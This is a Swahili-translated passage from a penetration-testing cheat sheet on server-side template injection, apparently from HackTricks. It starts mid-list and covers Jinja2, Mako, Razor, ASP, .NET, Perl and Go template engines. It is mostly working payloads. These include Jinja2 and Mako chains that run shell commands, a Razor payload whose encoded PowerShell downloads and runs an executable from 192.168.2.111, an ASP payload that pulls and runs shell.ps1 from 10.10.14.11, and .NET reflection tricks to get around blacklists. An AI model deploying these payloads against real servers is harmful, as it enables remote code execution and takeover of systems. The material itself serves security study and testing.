  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Maelezo zaidi

Jinja2 (Python)

Tovuti rasmi

Jinja2 ni template engine yenye sifa kamili kwa Python. Ina msaada kamili wa Unicode, ina chaguo la mazingira ya utekelezaji yaliyosandboxed yaliyojumuishwa, inatumiwa sana na ina leseni ya BSD.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Muundo wa kiolezo

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maelezo zaidi kuhusu jinsi ya kutumia vibaya Jinja:

Jinja2 SSTI

Payloads nyingine ziko kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Taarifa zaidi

Python nyingine

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method inaweza kutumika kuanza mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa webapp yenye udhaifu katika https://github.com/cnotin/RazorVulnerableApp

Taarifa zaidi

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Taarifa Zaidi

.Net Kukwepa vikwazo

Mekanizimu za .NET Reflection zinaweza kutumika kukwepa blacklisting au classes zisizokuwepo kwenye assembly. DLL’s zinaweza kupakiwa wakati wa runtime na methods na properties zikifikiwa kutoka kwa basic objects.

Dll’s zinaweza kupakiwa kwa:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - kutoka filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - moja kwa moja kutoka request.

Utekelezaji kamili wa amri:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Taarifa Zaidi

Mojolicious (Perl)

Hata kama ni perl, inatumia tagi kama ERB katika Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

Katika template engine ya Go, matumizi yake yanaweza kuthibitishwa kwa payloads maalum:

  • {{ . }}: Inaonyesha muundo wa data ulioweka. Kwa mfano, kama object yenye sifa ya Password imetumwa, {{ .Password }} inaweza kuifichua.
  • {{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Payloads hizi zinapaswa kurudisha “ssti” bila kuongeza “html” au “js”. Miongozo mingine inaweza kuchunguzwa katika nyaraka za Go here.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Kwa package ya text/template, XSS inaweza kuwa rahisi kwa kuweka payload moja kwa moja. Kinyume chake, package ya html/template inafanya encoding ya response ili kuzuia hili (mfano, {{"<script>alert(1)</script>"}} inatoa &lt;script&gt;alert(1)&lt;/script&gt;). Hata hivyo, ufafanuzi wa template na kuitwa kwake katika Go vinaweza kuepuka encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Nakili msimbo

RCE Exploitation

Utekelezaji wa RCE unatofautiana sana kati ya html/template na text/template. Module ya text/template inaruhusu kuita function yoyote ya public moja kwa moja (kwa kutumia thamani ya “call”), jambo ambalo haliruhusiwi katika html/template. Nyaraka za module hizi zinapatikana here for html/template na here for text/template.

Kwa RCE kupitia SSTI katika Go, method za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method ya System inayotekeleza amri, inaweza kutumiwa kama {{ .System "ls" }}. Kujua source code kawaida kinakuhitajika ili kuitekeleza, kama katika mfano uliopewa:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Taarifa zaidi

LESS (CSS Preprocessor)

LESS ni pre-processor maarufu wa CSS ambao huongeza variables, mixins, functions na directive yenye nguvu @import. Wakati wa compilation, engine ya LESS itachukua rasilimali zilizorejelewa katika statements za @import na kuingiza (“inline”) yaliyomo yao ndani ya CSS inayotokana wakati chaguo la (inline) linapotumika.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Exploits Zaidi

Angalia mengine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa exploits zaidi. Pia unaweza kupata taarifa za tags zenye kuvutia katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Msaada Yanayohusiana

Ikiwa unaona inaweza kuwa muhimu, soma:

Zana

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Marejeo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks